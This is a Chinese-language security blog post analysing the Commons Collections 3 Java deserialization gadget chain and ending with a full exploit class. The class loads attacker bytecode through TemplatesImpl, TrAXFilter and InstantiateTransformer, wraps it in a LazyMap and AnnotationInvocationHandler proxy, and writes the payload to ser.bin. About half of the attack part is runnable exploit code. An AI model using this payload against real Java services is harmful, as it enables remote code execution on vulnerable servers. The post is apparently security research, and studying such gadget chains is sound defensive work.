CommonsCollections3利用链

Java安全

利用条件

CommonsCollections 3.1 - 3.2.1版本

由于使用了 AnnotationInvocationHandler 类,JDK版本:JDK8u71及以下版本(之后版本已修复不可利用)

利用链

Gadget chain:
	ObjectInputStream.readObject()
		AnnotationInvocationHandler.readObject()
			Map(Proxy).entrySet()
				AnnotationInvocationHandler.invoke()
					LazyMap.get()
                        ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InstantiateTransformer.transform()
                        newInstance()
                            TrAXFilter#TrAXFilter()
                            TemplatesImpl.newTransformer()
                                  TemplatesImpl.getTransletInstance()
                                  TemplatesImpl.defineTransletClasses()
                                     newInstance()
                                        Runtime.exec()

利用链分析

在CC1和CC6中我们使用 Transformer 类来调用 Runtime 类执行命令的,如果 Runtime 类或可执行命令的类被拉入黑名单禁止执行这条链就走不通了

那么就看下有哪些类有 defineClass() 方法,可以加载我们传入的字节码,这样我们就可以将恶意类转换成恶意字节码传入进去后生成恶意类,再看看哪些地方能够对这个恶意类进行初始化,这样我们就绕过了上面被禁止执行的尴尬局面了

// TemplatesImpl.java
Class defineClass(final byte[] b) {
    return defineClass(null, b, 0, b.length);
}

TemplatesImpl 类中存在一个 default 修饰符的 defineClass() 方法,看看哪个地方调用了这个方法

// TemplatesImpl.java
private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
    	...
    }
private int _transletIndex = -1;
private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

还是在这个类中的 defineTransletClasses() 方法中进行了调用,这里可以看到 _bytecodes 变量是不能为空的,再往后看发现通过 defineClass() 方法从字节码加载到的类的父类必须是 ABSTRACT_TRANSLET 常量,查看该常量为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,如果没有加载的类没有继承这个类则 _transletIndex 为0以上的值,到了后面就会抛异常了,因为 _transletIndex 变量默认值为 -1,也就是说在我们写恶意类时必须继承 AbstractTranslet 类,_tfactory 变量也必须有值,否则在调用时会触发空指针错误,这个变量的值在 TemplatesImpl 类的 readObject() 方法中有进行初始化,值可以是 new TransformerFactoryImpl()

image-20230816125045223

还是在这个类中 getTransletInstance() 方法调用了 defineTransletClasses() 方法,在这个方法中 _name 变量不能为空,_class 必须为空,否则调用不到 defineTransletClasses() 方法,到了后面就是对加载到的类进行初始化了

image-20230816141032883

同样的,getTransletInstance() 方法也是在 TemplatesImpl 类中被 newTransformer() 方法调用的,接下来就是要找哪个类调用了 newTransformer() 方法,且是在该类的构造方法中进行调用的

image-20230816141617207

那么,我们只需要调用 TrAXFilter 类的构造方法即可执行恶意代码,由于该类没有实现序列化接口,所以这里和CC1链一样需要使用 Transformer 链式调用才能绕过反序列化这个限制

到此我们知道怎么去利用字节码去加载类并初始化了,这条链我们就清楚了

这里,我们不再使用CC1中的 new InvokeTransformer() 的方法,而是找一种可以实例化对象可以调用该对象的构造方法的类

image-20230816144539814

然后我们就找到了 InstantiateTransformer 这个类,该类构造函数接受一个Class数组参数类型和一个Object数组参数,其 transform() 方法就是获取了对象的构造器,并进行实例化,这里的 iParamTypesiArgs 变量就是 TrAXFilter 类中构造方法中的参数类型和参数

那么这里就存在一个问题了,如何让 TrAXFilter 类作为对象传进来呢?没错,就是链式调用

byte[] code = Files.readAllBytes(Paths.get("/Users/wiley/IdeaProjects/javaResearch/src/main/java" +
        "/CommonsCollections/EvilCode.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
Class TemplatesClass = templates.getClass();
Field name = TemplatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"x");
Field bytecodes = TemplatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
Field factory = TemplatesClass.getDeclaredField("_tfactory");
factory.setAccessible(true);
factory.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

这里就和CC1差不多,只不过我们把 new InvokeTransformer() 给换成了 new InstantiateTransformer(),后面其实也是用的CC1的 LazyMap 链,和CC1那边就差不多了

利用链EXP编写

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, TransformerConfigurationException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        byte[] code = Files.readAllBytes(Paths.get("/Users/wiley/IdeaProjects/javaResearch/src/main/java" +
                "/CommonsCollections/EvilCode.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        Class TemplatesClass = templates.getClass();
        Field name = TemplatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"x");
        Field bytecodes = TemplatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);
        Field factory = TemplatesClass.getDeclaredField("_tfactory");
        factory.setAccessible(true);
        factory.set(templates,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);

        Class invocationhandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = invocationhandlerClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);

        InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Target.class, lazymap);
        Map proxyMap = (Map) Proxy.newProxyInstance(lazymap.getClass().getClassLoader(), lazymap.getClass().getInterfaces(), invocationHandler);
        InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Target.class, proxyMap);

        serialize(handler);
        // deserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }

    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        return objectInputStream.readObject();
    }
}

Author: wileysec

Permalink: https://wileysec.github.io/fcc9661c9ec3.html

Comments